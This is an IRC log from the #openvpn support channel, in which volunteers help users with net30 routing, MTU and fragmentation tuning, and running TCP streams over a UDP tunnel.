00:13 < Anonmoose_> inet addr:10.8.0.1  P-t-P:10.8.0.2  Mask:255.255.255.255
00:13 < Anonmoose_> or hmm
00:13 < Anonmoose_> not .6 lol
00:13 < Poster> well that changes a bit
00:13 < Anonmoose_> o_O
00:13 < Poster> on your Windows host, type
00:14 < Poster> route delete 8.8.8.8 mask 255.255.255.255 10.8.0.6
00:14 < Poster> route add 8.8.8.8 mask 255.255.255.0 10.8.0.1
00:14 < pekster> No
00:14 < pekster> For net30 that's not how it works
00:14 < pekster> !net30
00:14 <@vpnHelper> "net30" is "/30" is (#1) http://openvpn.net/index.php/documentation/faq.html#slash30 explains why routed clients each use 4 ips, or (#2) you can avoid this behavior with by reading !topology
00:14 < pekster> 10.8.0.6 is the peering IP in the /30 subnet
00:14 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
00:14 < Anonmoose_> hmm The route deletion failed: Element not found
00:14 < pekster> It's PtP; it's quite possible to set up asymettric IPs routes
00:15 < pekster> (and in the case of net30, it is set up like this)
00:15 < pekster> Did you see this yet? It sounds like some of your routes aren't going across the link when you want them to:
00:15 < pekster> !redirect
00:15 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
00:15 <@vpnHelper> http://ircpimps.org/redirect.png
00:16 < Poster> wouldn't it be 10.8.0.0 - network ; 10.8.0.1 - host 1 ; 10.8.0.2 - host b ; 10.8.0.4 - broadcast ?
00:16 < Anonmoose_> nice chart lol
00:16 < pekster> Poster: For the server. You cannot access that inside the virtual /30 for the client
00:16 < Poster> I was trying to talk through adding a static route via 10.8.0.1 to see if it would pass the traffic
00:16 < pekster> Hence the client uses .6 and .5
00:16 < pekster> Right, you can't do that Poster
00:16 < pekster> It's not "on-link" on the virtual faked /30
00:16 < pekster> Of course, 'topology subnet' fixes that, just like the bot's output said
00:17 <@EugeneKay> Actually, that bot factoid doesn't say that.
00:17 <@EugeneKay> !/30
00:17 <@vpnHelper> "/30" is (#1) Default behaviour assigns a /30 subnet(4 addresses) to each peer. See http://goo.gl/6vemm for background or (#2) you can avoid this behavior by reading !topology or (#3) by default, first client is .6, then .10 .14 .18 etc or (#4) use openvpn --show-valid-subnets to see the subnets you can use in net30 or (#5) tl;dr Windows sucks, use --topology subnet in your server.conf
00:17 <@EugeneKay> That one doues.
00:17 < Anonmoose_> !nat
00:17 <@vpnHelper> "nat" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !winnat and !fbsdnat for specific howto
00:17 < pekster> EugeneKay: Hmm, too many similar factoids :P
00:17 <@EugeneKay> pekster - read net30 closely; it's an old copy of /30 ;-)
00:18 < Poster> ok I guess I was used to manually assigning each side when using a /30
00:18 < TORcruzer> pekster: You you think I should try adding --fragment or  --mssfix to help fix UDP problem... Or both?
00:18 < Poster> haven't used that approach ; I get it now
00:18 -!- dfoolz [~Anon@fuge.it] has joined #openvpn
00:18 < dfoolz> :|
00:19 < pekster> TORcruzer: First make sure you've set everything up on that flowchart correctly, and verify a ping to some external host (8.8.8.8 works) flows as expected across the VPN. Then see if it's an MTU issue by sending a packet at your MTU across the VPN to the same external host
00:19 < dfoolz> uh oh. i just kicked my server offline with faulty iptable parmaters :|
00:19 <@EugeneKay> Sweet.
00:19 < pekster> If the first test works but the 2nd fails, you have MTU issues that need fixing with fragment, or possibly by using the --mtu-test feature that will tell you exactly what the detected MTU is (that'll take a few minutes to run)
00:20 < pekster> Then turn around and apply that value; see the --mtu-test option in the manpage for specifics
00:20 < TORcruzer> pekster: Okay, I'll report back
00:20 -!- TORcruzer [~TORcruzer@gateway/tor-sasl/torcruzer] has quit [Quit: WeeChat 0.4.0]
00:21  * pekster awaits IPv6's arrival where PMTU-discovery is built into the protocol's design better
00:23 -!- Anonmoose_ [~Anon@94.75.243.165] has quit [Ping timeout: 264 seconds]
00:27 < Poster> I do wonder if it will ever arrive
00:28 < pekster> Nothing really requires native v6, so ISPs & mfgr's won't make it a priority. Because of that, companies hosting content don't either. It's a nasty cycle, ending with more NAT for everyone. See RFC6598 for a wonderful example
00:29 < pekster> On the plus side, OpenVPN >=2.3.0 supports v6 now :)
00:29 < Poster> that's good ; yeah I see it as the whole chicken and egg thing
00:30 < Poster> if more client demand existed, the providers would probably invest the resources to get there ; but since it's not there the clients seem to be making due
00:31 < Poster> I think cellular providers use ipv6 inside their networks for data, but probably hide behind ipv4 for most web access
00:33 <@EugeneKay> Stop whining and start using
00:34 < pekster> Hey, I'm doing my part. ISP doesn't do v6, so I'm on Freenode via a broker :)
00:34 <@EugeneKay> Every time you say "IPv6 is a chicken and egg problem" is that much less time spent becoming the chicken.
00:34  * EugeneKay bawks
00:34 < Poster> heh
00:34 < Poster> it doesn't matter a whole lot to me
00:34 < pekster> I need to get my phone doing v6 via my OpenVPN connection at home too
00:34 < pekster> That's be nice
00:35 < Poster> I'd have to get ipv6 from somewhere else to
00:35 < pekster> HE or sixxs offer free brokering services
00:37 -!- SuperGauntlet [~supergaun@d14-69-67-219.try.wideopenwest.com] has quit [Read error: Connection reset by peer]
00:37 -!- TORcruzer [~TORcruzer@gateway/tor-sasl/torcruzer] has joined #openvpn
00:39 < TORcruzer> I tried setting the fragment REALLY low all the way down to 1000 and had mssfix in there. Still on UDP I Can Ping, DNS, 'small' http transfer. But say I wget google.com It always stops after 5 packets
00:40 < pekster> And you learned what by doing pings with the DF ("don't fragment") bit set and running --mtu-test ?
00:41 < TORcruzer> ? I have never done that... i did run this and it works fine, ping -M do -s 1472   ... This is the HTTP that dose work curl --get http://tnx.nl/ip
00:41 < TORcruzer> The ping ended in 8.8.8.8
00:42 < TORcruzer> and the other end of the TUN poin-to-pint link
00:42 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
00:42 < pekster> Right, so that 1472 ping (max you can send in ICMP data with all the overhead on a 1500MTU link) means any fragmentation is working properly between your VPN peers
00:43 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
00:43 < pekster> It's also possible any --comp-lzo setting is interfering with the ping test since it compresses data, likely interfering with the actual resulting packet sizes
00:43 < TORcruzer> pekster, okay.  Do you have any other ideas why I can only send 5 packets?
00:44 < pekster> 5 packets? As in you can ping 5 times but the 6th fails? That sounds like DPI/IDS
00:44 < pekster> ie: something actively stopping the traffic
00:44 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
00:45 < TORcruzer> Awe, okay.  Owe, sorry that was confusing... I mean any website other then http://tnx.nl/ip that I try to go to always stops after the first GET 5 packets in
00:45 < TORcruzer> In Wireshark listening on the Tun interface
00:46 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
00:47 < TORcruzer> I see the ACK from the GET but then it ends.
00:48 < pekster> Is the MSS set properly in the SYN and SYN+ACK during establishment?
00:49 < pekster> If you're using --fix-mss it should be
00:51 < TORcruzer> I tell Google mss 1460 .. Google tells me mss 1368
00:52 < TORcruzer> ... i.e. SYN mss 1460 : SYN, ACK 1368
00:52 < pekster> 1460 sounds wrong if you're still using 1400 or 1200 or 1000 or something in your --fragment line
00:53 < TORcruzer> That is what happend on default settings.... dose it look okay then?
00:54 < TORcruzer> Would you like me to try again with fragment 1000 and mssfix added.
00:54 < pekster> Manpage says 1450 is the default, but 1460 might be okay assuming PMTU is working
00:56 < pekster> Try using '--comp-lzo no' on both sides first, to rule out weirdness in your DF ping test. Then sure, try --fragment X  --mssfix (where X can be 1000 if you want to start there. Usually values like 1300, 1200, 1000, etc are common first guesses)
00:56 < pekster> I should have noted that earlier, but I didn't think about the compression playing a role at the time
00:56 < TORcruzer> Okay, I'll do that and also check to make sure the mss is really being set
00:57 < pekster> It's very likely you have MTU problems since the next thing after the 'GET' request is the data
00:57 < pekster> And that'll likely span several packets or more
00:57 < TORcruzer> That sounds right to me too. Also considering that small one like HTTP request dose go through.
00:57 < pekster> Hopefully you can duplicate your symptoms with simple pings
00:57 < TORcruzer> Okay
00:57 < pekster> ie: no compression should leave the encapsulated data the same size as random "uncompressable" data too
00:58 < TORcruzer> will do
01:03 -!- TORcruzer [~TORcruzer@gateway/tor-sasl/torcruzer] has quit [Ping timeout: 276 seconds]
01:04 -!- TORcruzer [~TORcruzer@gateway/tor-sasl/torcruzer] has joined #openvpn
01:05 < TORcruzer> Okay, what dose (truncated) mean? The max I can ping at is 64... ping -M do -s 64 8.8.8.8 .. before I see (turncated)
01:05 < pekster> Oh, the peer is probably only returning 64 bytes
01:06 < pekster> Yea. Another host would be wise then, since you want to make sure the MTU works in both directions. The good news is it got out okay
01:06 < TORcruzer> Should I have been trying to ping the the Tun interface on the server?
01:06 < TORcruzer> Ya :p
01:07 < TORcruzer> I'll try the other end of the link... on sec
01:07 < pekster> Possibly, although that won't verify that it works for external hosts (you'd presume it would, but PMTU between your server and your desired endpoint could still also be hosed)
01:07 < pekster> That's likely a separate issue though
01:08 < pekster> google.com seems to do the right thing. 8.8.8.8 replies only 64 bytes back, and kernel.org drops too large of pings
01:08 < TORcruzer> Okay well I'll verify that first. Do you think my other VPS would be a good thing to ping?
01:08 < TORcruzer> Okay, I'll do google.com
01:08 < pekster> Sure. Start with the VPN endpoint too
01:08 < TORcruzer> Okay
01:08 < pekster> At least verify the link works, then work out from there
01:09 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
01:14 -!- TORcruzer [~TORcruzer@gateway/tor-sasl/torcruzer] has quit [Ping timeout: 276 seconds]
01:20 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Ping timeout: 256 seconds]
01:21 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
01:23 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
01:27 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
01:27 -!- TORcruzer [~TORcruzer@gateway/tor-sasl/torcruzer] has joined #openvpn
01:28 -!- TORcruzer [~TORcruzer@gateway/tor-sasl/torcruzer] has quit [Quit: WeeChat 0.4.0]
01:28 -!- TORcruze1 [~TORcruzer@gateway/tor-sasl/torcruzer] has joined #openvpn
01:28 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 258 seconds]
01:29 < TORcruze1> Okay, so it seems the max is mss 548
01:30 < TORcruze1> It works with that. The way I found it was to just ping the server without going through OpenVPN. That was the highest it would let me go. So I set OpenVPN to fragment on that and It all seems to be working now :)
01:31 < TORcruze1> That dose seem really small though? Should I try OpenVPN higher then that?
01:32 < TORcruze1> It is hard to test, but It looks like I am getting 100KB/s more now. I should try turning on lzo commpression and I bet I'd see even more speed.... Correct?
01:32 < TORcruze1> ... More then with TCP
01:33 < TORcruze1> I am basicaly watching YouTube. When the video firt starts I am seeing a lot more speed.
01:34 < TORcruze1> ... I'll try those things and report back...
01:37 -!- TORcruze1 [~TORcruzer@gateway/tor-sasl/torcruzer] has quit [Quit: WeeChat 0.4.0]
01:57 -!- TORcruzer [~TORcruzer@gateway/tor-sasl/torcruzer] has joined #openvpn
01:58 < TORcruzer> YES :) I am sooo happy. Thank you for all your help. Boy I never would have figured that out.
01:59 < TORcruzer> On TCP I was seeing a max speed on the Tun interface of 257KB/s ... now on UDP with comp-lzo I am seeing a little over 400KB/s
02:00 < TORcruzer> Owe well nmon now shows Peak Receved 495KB/s !!! So cool. on TCP no joke. Peak Receved ~250-270KB/s
02:02 < TORcruzer> new peak 505KB/s :) ... Okay I'll stop posting now :p
02:11 < TORcruzer> Okay now 545KB/s Lots of peaking over 500KB/s... So, OpenVPN is Open Source... I should look into what it would take to add a config flag to have OpenVPN do this ping testing for you... Hum, I guess the problem would be that it would add a lot of time to starup.... Maybe I could just write a small Bash Script and put it in the Arch Linux AUR ...?
02:13 < pekster> Did you see/use --mtu-test? It does just that
02:14 < TORcruzer> Owe boy, really?
02:14 < pekster> Yup. I noted it earlier too
02:14 < TORcruzer> Shoot..
02:16 < TORcruzer> Okay, well I'll sign off now. BIG Thank You pekster :) While I should have read you tell me about --mtu-test... Thanks for helping me figure this out.
02:17 < pekster> 548 seems oddly close to 576 minus some overhead (not sure offhand how much that all accounts for)
02:18 -!- PG1 [~PG@46.19.194.98] has joined #openvpn
02:18 < PG1> hello room
02:18 < pekster> It could be the host you're using (or some router en-route) somehow uses that as the MTU, although that's a goofy value since 576 is the unfragmented minimum packet size required to support in IPv4. Technically, IPv4 can work with an MTU as low as 68 bytes. It's valid to use such a low MTU, but not common
02:18 < TORcruzer> Owe ya, Frag needed and DF set (mtu = 576)
02:18 < pekster> Heh. Funny.
02:18 < PG1> can i transfer TCP packets (live stream) over a udp tunnel using openvpn?
02:18 -!- Voss [~Voss@unaffiliated/dionysus] has joined #openvpn
02:19 < pekster> I think someone mis-read or mis-understood the spec somewhere along your path. Oh well, it's not technically misconfigured if you get the fragmentation needed reply
02:19 -!- Voss [~Voss@unaffiliated/dionysus] has left #openvpn []
02:19 < pekster> PG1: Yup, you can send any IP data (using tun) or Ethernet data (using tap) across the link
02:19 < PG1> pekster: and can that tunnel be encrypted?
02:19 < pekster> This applies equally to UDP or TCP as your encapsulating transport. Use of UDP is preferred for a variety of performance reasons
02:19 < pekster> Yup
02:20 < PG1> is it a good idea to send a live video websctream TCP based over a udp tunnel?
02:20 < PG1> tcp stream sent over a tcp tunnel is causing problems
02:20 < pekster> It's a good idea to use UDP always unless you cannot
02:20 < pekster> Righ
02:20 < pekster> !tcp
02:20 <@vpnHelper> "tcp" is (#1) Sometimes you cannot avoid tunneling over tcp, but if you can avoid it, DO. http://sites.inka.de/~bigred/devel/tcp-tcp.html Why TCP Over TCP Is A Bad Idea. or (#2) http://www.openvpn.net/papers/BLUG-talk/14.html for a presentation by James Yonan (OpenVPN lead developer) or (#3) if you must use tcp, you likely want --tcp-nodelay
02:20 < TORcruzer> pekster: Awe, Okay, that sound right. Well. I'm getting good speeds, so I'm not too worried about it. When I get to school I'll set their network.
02:21 < TORcruzer> "Test their network"
02:23 < TORcruzer> pekster: Maybe my school has a diffrent route to my server
02:25 < pekster> Standard traceroute tools can often identify the MTUs along a path, depending on configuration
02:29 < TORcruzer> New Peak 736.5 KB/s over UDP :) Okay I am really signing off. I am just being noisy now...
02:29 < TORcruzer> Good by Thanks :)
02:29 -!- TORcruzer [~TORcruzer@gateway/tor-sasl/torcruzer] has quit [Quit: WeeChat 0.4.0]
02:32 < PG1> pekster:  any documentation you can point me to ?
02:32 < pekster> !howto
02:32 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
02:33 -!- kisom [~kisom@c-75dce155.648-1-64736c11.cust.bredbandsbolaget.se] has quit [Ping timeout: 248 seconds]
02:39 < PG1> pekster: in my case with streaming in tcp route or birdge mode would bebtter?
02:40 < pekster> Routing
02:40 < pekster> !tunortap
02:40 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
02:40 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
02:42 < PG1> pekster: i see that by default openvpn works on udp not tcp tunneling
02:42 < pekster> OpenVPN works with ether. The default is UDP, but nothing needs to change besides your configuration for it to "work"
02:59 < pekster> You can use any address space available to your environment. If you don't have a block of publicly-routable IPs, use RFC1918 space
02:59 < pekster> !1918
02:59 <@vpnHelper> "1918" is (#1) RFC1918 makes three unique netblocks available for private use: 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16 or (#2) see also: http://en.wikipedia.org/wiki/Private_network or http://www.faqs.org/rfcs/rfc1918.html or (#3) Too lazy to find your own subnet? Try this one: http://scarydevilmonastery.net/subnet.cgi
03:41 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
03:44 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
03:45 -!- Orbi [~opera@anon-163-206.vpn.ipredator.se] has joined #openvpn
03:46 -!- PG1 [~PG@46.19.194.98] has quit [Ping timeout: 245 seconds]
03:56 -!- lmm [uid6417@gateway/web/irccloud.com/x-urrxqdulhckrxfpt] has quit [Ping timeout: 252 seconds]
03:56 -!- Perun [perun@chao5.net] has quit [Ping timeout: 252 seconds]
03:57 -!- Perun [perun@chao5.net] has joined #openvpn
04:01 -!- PG1 [~PG@141.138.184.245] has joined #openvpn
04:03 < PG1> on my openvpn server i am receiving this kind of error from time to time:  read UDPv4 [ECONNREFUSED]: Connection refused (code=111
04:10 -!- nonotza [~nonotza@cpe-74-73-232-198.nyc.res.rr.com] has quit [Quit: nonotza]
04:23 < PG1> anyone?
04:26 -!- Perun [perun@chao5.net] has quit [Read error: Operation timed out]
04:27 -!- Perun [perun@chao5.net] has joined #openvpn
04:27 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-wclmhmpvxmgxurke] has quit [Ping timeout: 258 seconds]
05:10 < pppingme> PG1 might just be someone trying to port knock or something, are you seeing a real problem?
05:10 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
05:14 < PG1> pppingme: yes
05:15 < PG1> pppingme: what is port knock
05:16 -!- lmm [uid6417@gateway/web/irccloud.com/x-pdubufobwmodlaqn] has joined #openvpn
05:17 < pppingme> PG1 whats the problem you're seeing?
05:18 < PG1> pppingme: i am trying to do some livestreaming so i am using tcp over udp, what i see is when the client drops connection for like 1sec the stream stops even though the tunnel stays there
05:19 < PG1> so i have to refire the stream everytime
05:20 < pppingme> PG1 you're using UDP for the vpn, right?
05:20 < PG1> pppingme: yes
05:20 < pppingme> then your stream is TCP, right?
05:20 < PG1> pppingme: correct
05:20 -!- Orbi [~opera@anon-163-206.vpn.ipredator.se] has quit [Quit: Orbi]
05:21 < pppingme> in general, unless there's a good reason to do otherwise, streaming should be done via UDP, there's about a 1000 good reasons for that and hardly no good reasons to go UDP
05:21 < pppingme> but..
05:21 < pppingme> setting that aside
05:21 < pppingme> if you do a nice long ping through the tunnel, does it run clean?
05:22 < PG1> well the cutoff is not seen, only the output freezes
05:22 < PG1> if i run a ping in parallel it would stay working
05:22 < pppingme> thats just a characteristic of how TCP works
05:23 < pppingme> so you don't see ANY packet loss when you ping?
05:24 < PG1> let me check
05:27 < PG1> pppingme: http://pastie.org/7088788
05:28 < PG1> you see thew lagtimes?
05:30 < pppingme> that just means something else is hitting the connection
05:31 < pppingme> you didn't post stats at the end of the ping?
05:31 < PG1> the weird thing is, the stream stops at the time the ping is very reliable and does no show any disconnections
05:31 < PG1> so for example stream stops when ping is 200ms
05:32 < pppingme> is there any dsl involved?
05:33 < PG1> 3g
05:34 < pppingme> streaming over tcp is bad to start with, you complicate that with a vpn and 3g, that just makes it worse, the thing about tcp is one little minor hickkup brings it to a halt until the issue (lost or corrupt packet or whatever happened) is corrected
05:35 < pppingme> thats fine if you're downloading a file, in fact, its probably desirable, since 100% accuracy is important, but when you're streaming video, who cares, worse case is you lose a frame of video, thats why UDP is better for streaming.
05:35 < pppingme> is there a reason you can't stream via udp?
05:36 < PG1> i want to cover the stream on all devices/platforms inclduing android iphone mac linux windows
05:36 < PG1> so my solutuon is fine now with tcp but i dont know if it will be fine with udp
05:36 < pppingme> as long as you stream over tcp, you're going to be fighting this issue
05:36 < PG1> lot of devices dont support udp streams
05:37 < pppingme> its not up to the device, its up to what software you're running on the device
05:38 < pppingme> and every major video player out there, as well as flash and a million other ways to do it can support streaming over udp
05:39 < pppingme> believe it or not, what you're seeing isn't a bug or really even an issue in most peoples eyes, its a feature, its the way TCP is supposed to work
05:41 < pppingme> every once in a while, you're going to lose a packet or a packet will come across corrupt, thats just a fact of life, thats what makes tcp so good, it can detect these situations and correct for it, but all of that takes time, but allows for extremely high accuracy when moving files around, but who cares when its for video or audio, no one is going to notice a missing frame..
05:42 < pppingme> thus, UDP
05:42 -!- PG1 [~PG@141.138.184.245] has quit [Ping timeout: 256 seconds]
05:42 < jzaw> 1/24th of a second .. just a blink
05:42 < pppingme> he's gone
05:42 < jzaw> ah
05:43 < pppingme> I duno why people insist on streaming video over tcp over a vpn, over 3g
05:43 < jzaw> ive been running (am runnin) a tcp tunnel but only cos i found voip less artifacty than over udp
05:43 < jzaw> but im thinking of going to udp anyway
05:44 < jzaw> cos my sftp speeds are shit
05:44 < jzaw> even with tcp-nodelay
05:44 < pppingme> thats interesting..
05:44 < pppingme> that you think voip sounds better over a tcp tunnel vs a udp tunnel..
05:44 < jzaw> im 2,000km from my server ... and a lot of PL networks are PANTS! and very lossy
05:45 < jzaw> yeah 722 is a nice sounding codec when pkts are arriving
05:45 < jzaw> but its very sensitive to losses
05:45 < jzaw> quickly starts sounding very very bad
05:46 < pppingme> I mainly only do u-law
05:48 <@EugeneKay> pppingme - over the MOON
05:48 < jzaw> pppingme, aye but its a good litmus test to try 722 :)
05:51  * jzaw goes to flash a freshly baked openwrt bin to his tplink ... fingers crossed
05:55 -!- kisom [~kisom@n186-p13.kthopen.kth.se] has joined #openvpn
06:05 -!- tekzilla [~jon@24.134.142.157] has quit [Ping timeout: 256 seconds]
06:10 -!- nonotza [~nonotza@cpe-74-73-232-198.nyc.res.rr.com] has joined #openvpn
06:14 -!- pyrobisqit [~pyrobisqi@87.Red-88-5-221.dynamicIP.rima-tde.net] has joined #openvpn
06:22 -!- tekzilla [~jon@24.134.142.157] has joined #openvpn
06:25 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-xkuztbndblojovtg] has joined #openvpn
06:31 -!- pyrobisqit_ [~pyrobisqi@87.Red-88-5-221.dynamicIP.rima-tde.net] has joined #openvpn
06:31 -!- penk [~dave@216.142.113.157] has joined #openvpn
06:32 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
06:32 -!- mode/#openvpn [+o krzee] by ChanServ
06:36 -!- pyrobisqit_ [~pyrobisqi@87.Red-88-5-221.dynamicIP.rima-tde.net] has quit [Quit: Main screen turn off]
06:37 -!- pyrobisqit [~pyrobisqi@87.Red-88-5-221.dynamicIP.rima-tde.net] has quit [Remote host closed the connection]
06:41 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: testing nickserv before join]
06:41 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
06:41 -!- mode/#openvpn [+o krzee] by ChanServ
06:43 -!- penk [~dave@216.142.113.157] has quit [Ping timeout: 248 seconds]
06:50 -!- pyrobisqit_ [~pyrobisqi@87.Red-88-5-221.dynamicIP.rima-tde.net] has joined #openvpn
07:01 -!- Eagleman [~Eagleman@vpn.eagleman.net] has joined #openvpn
07:04 -!- pyrobisqit_ [~pyrobisqi@87.Red-88-5-221.dynamicIP.rima-tde.net] has quit [Quit: Main screen turn off]
07:10 -!- pyrobisqit [~pyrobisqi@208.68.39.44] has joined #openvpn
07:17 -!- pyrobisqit [~pyrobisqi@208.68.39.44] has quit [Quit: leaving]
07:23 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
07:30 -!- pyrobisqit [~pyrobisqi@87.Red-88-5-221.dynamicIP.rima-tde.net] has joined #openvpn
07:34 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
07:36 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 258 seconds]
07:47 -!- pyrobisq1t [~pyrobisqi@208.68.39.44] has joined #openvpn
07:48 -!- pyrobisqit [~pyrobisqi@87.Red-88-5-221.dynamicIP.rima-tde.net] has quit [Quit: Main screen turn off]
07:48 -!- pyrobisq1t [~pyrobisqi@208.68.39.44] has quit [Client Quit]
07:49 -!- pyrobisqit [~pyrobisqi@208.68.39.44] has joined #openvpn
08:20 -!- zarrsh_ [~zarrsh@cpe-24-95-76-206.columbus.res.rr.com] has quit [Ping timeout: 245 seconds]
08:45 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Read error: Connection reset by peer]
08:54 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
08:59 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Read error: Connection reset by peer]
09:12 -!- kubbing [~kubbing@89.177.146.18] has quit [Remote host closed the connection]
09:19 -!- emmanuelux [~emmanuelu@nl4.freedom-ip.com] has joined #openvpn
09:21 -!- batrick [~batrick@nmap/developer/batrick] has quit [Ping timeout: 252 seconds]
09:23 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
09:25 -!- batrick [~batrick@nmap/developer/batrick] has joined #openvpn
09:30 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 276 seconds]
09:32 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
10:08 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
10:18 -!- Eagleman7 [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
10:18 -!- kubbing_ [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
10:19 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Ping timeout: 256 seconds]
10:20 -!- Eagleman [~Eagleman@vpn.eagleman.net] has quit [Ping timeout: 264 seconds]
10:34 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Ping timeout: 252 seconds]
10:34 -!- emmanuelux [~emmanuelu@nl4.freedom-ip.com] has quit [Ping timeout: 258 seconds]
10:36 -!- emmanuelux [~emmanuelu@nl4.freedom-ip.com] has joined #openvpn
10:45 -!- emmanuelux [~emmanuelu@nl4.freedom-ip.com] has quit [Ping timeout: 264 seconds]
10:48 -!- emmanuelux [~emmanuelu@nl4.freedom-ip.com] has joined #openvpn
10:51 -!- emmanuelux [~emmanuelu@nl4.freedom-ip.com] has quit [Max SendQ exceeded]
10:53 -!- emmanuelux [~emmanuelu@nl4.freedom-ip.com] has joined #openvpn
10:57 -!- emmanuelux [~emmanuelu@nl4.freedom-ip.com] has quit [Max SendQ exceeded]
10:59 -!- emmanuelux [~emmanuelu@nl4.freedom-ip.com] has joined #openvpn
11:01 -!- emmanuelux [~emmanuelu@nl4.freedom-ip.com] has quit [Max SendQ exceeded]
11:04 -!- emmanuelux [~emmanuelu@nl4.freedom-ip.com] has joined #openvpn
11:10 -!- emmanuelux [~emmanuelu@nl4.freedom-ip.com] has quit [Max SendQ exceeded]
11:10 -!- amir is now known as namir10
11:11 -!- namir10 is now known as namir7
11:11 -!- namir7 is now known as amir
11:14 -!- BasicXP [~basicxp@ubuntu/member/BasicXP] has joined #openvpn
11:38 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
11:38 -!- mode/#openvpn [+v s7r] by ChanServ
12:06 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Read error: Connection reset by peer]
12:08 -!- Cubox [cubox@unaffiliated/cubox] has joined #openvpn
12:08 < Cubox> hi :)
12:08 < Cubox> I have a question about the android app.
12:08 < Cubox> In the notification bar, I have TWO openvpn things...
12:08 < Cubox> I know that one is VPNService, but how to remove the other?
12:29 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
12:30 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep]
12:35 -!- MeanderingCode_ [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
12:35 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Ping timeout: 245 seconds]
12:44 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 264 seconds]
12:45 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
12:46 -!- dfoolz [~Anon@fuge.it] has quit [Remote host closed the connection]
12:55 -!- mattock is now known as mattock_afk
13:02 -!- nikitosiusis [~nikitos@2a02:6b8:0:81f::189] has joined #openvpn
13:04 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
13:12 -!- lbalbalba [~lbalbalba@a80-100-229-127.adsl.xs4all.nl] has joined #openvpn
13:12 -!- lbalbalba [~lbalbalba@a80-100-229-127.adsl.xs4all.nl] has left #openvpn []
13:19 -!- Dave2 is now known as Dave
13:46 -!- Eagleman7 [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 276 seconds]
13:51 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 272 seconds]
13:54 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
14:11 -!- kubbing_ [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Remote host closed the connection]
14:21 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
